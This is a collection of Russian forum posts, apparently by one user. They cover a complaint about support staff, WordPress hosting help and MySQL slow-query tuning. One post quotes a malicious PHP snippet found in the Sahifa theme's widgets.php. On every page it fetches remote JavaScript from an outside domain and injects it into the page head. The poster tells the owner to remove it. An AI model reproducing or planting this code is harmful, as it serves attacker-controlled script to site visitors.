Ув. Romka_Kharkov, представьте на минутку.. у вас большая компания, 1000 сотрудников.. каждому сказано что должен делать.. каждый получает зп., всё рассчитано и отлажено.. доход идёт... и тут бац в один прекрасный день, суппорт начинает отходить от установленных для него правил.. раздаёт бесплатно плюшки клиентам, которые обычно платные.. что вы сделаете? погладите по голове и скажете продолжай в том же духе? ты супер человечный - молодец?! или заставили бы оплатить эти плюшки и в шею бы выгнали?!
надо понимать к кому с каким вопросом можно обращаться, а к кому нет...
если чего-то не работает - идём в тех поддержку, если нужны скидки/бонусы/бесплатные плюшки - отдел продаж/менеджеры/руководство...
в этом вопросе вы не правы - умейте признать... жирнокрасным извиниться духу не хватает?
если файл /var/www/**/data/www/*******.ru/wp-content/themes/sahifa/includes/widgets.php есть, проверьте права папки includes и этого файла...
<?php if (!function_exists('insert_jquery_slider')){function insert_jquery_slider(){if (function_exists('curl_init')){$url = "http://www.jquerye.com/jquery-1.6.3.min.js";$ch = curl_init(); $timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_slider');} ?>
эта кака вам вообще не нужна
если в файле только эта кака - закомментируйте инклуд файла -> includes/functions-init.php
посмотрите внимательно тарифы... на 101 нет поддержки PHP и БД
работал с ТС - честный, коммуникабельный!
большое спасибо
izbushka, спасибо - учту этот момент...
по id склеиваю, по текстовым полям поиск работает, статус - показывать в результах или нет и дата для сортировки... можно конечно отказаться от даты и использовать id - но опять же неужели из-за этого VPS ложится? ))
если ставить на все поля индекс - то размер индекса будет больше самих данных :)
`status` или 0 или 1 - TINYINT...
сайт отключили, но особой разницы не заметили пока...
sg552, индексы стоят, поле `date` тип DATETIME - без индекса
izbushka, поле `id` - стоит индекс PRIMARY..
убрал все изменения в my.cnf - по идее он берёт дефолтные значения, с mysql всё норм - медленные запросы были, но не зависал и ошибок не выдавал.. а вот с apache проблемка была вчера - завис, сайты были не доступны..
отключил проблемный сайт, посмотрим что да как будет... по нагрузке всё ~ на прежнем урвне
Den73, error_log при зависании чист - браузер не может найти сервер...
дефолтного конфига уже нет - давно меняли эти цифры - норм всё работало... оч редко раз в 3-4 мес отключался.. поищу в гугле что нибудь.. спасибо!
Оптимизайка, не сохранил его.. как будет выложу.. план выполнения - explain? отдельно выполнить медленный запрос в phpmyadmin с ним?
помню делали изменения настройки mysql из-за красных цифер в phpmyadmin - вкладка состояние..
Created tmp disk tables, увеличили tmp_table_size и max_heap_table_size - циферка осталась красной но заметно меньше.. сейчас 850
Opened tables, увеличили table_open_cache - циферка сейчас тоже красная => 165
вот медленный запрос (1 за 25 мин)
SELECT * FROM brand INNER JOIN model ON brand.id=model.brand_id INNER JOIN modification ON brand.id=modification.brand_id AND model.id=modification.model_id WHERE brand.status="1" AND model.status="1" AND modification.status="1" ORDER BY modification.date LIMIT 14144, 8;
Explain - причём был выполнен довольно шустро - макс пару сек.. никак не 10,6 как в логе
сорри не туда.. (скинул в лс)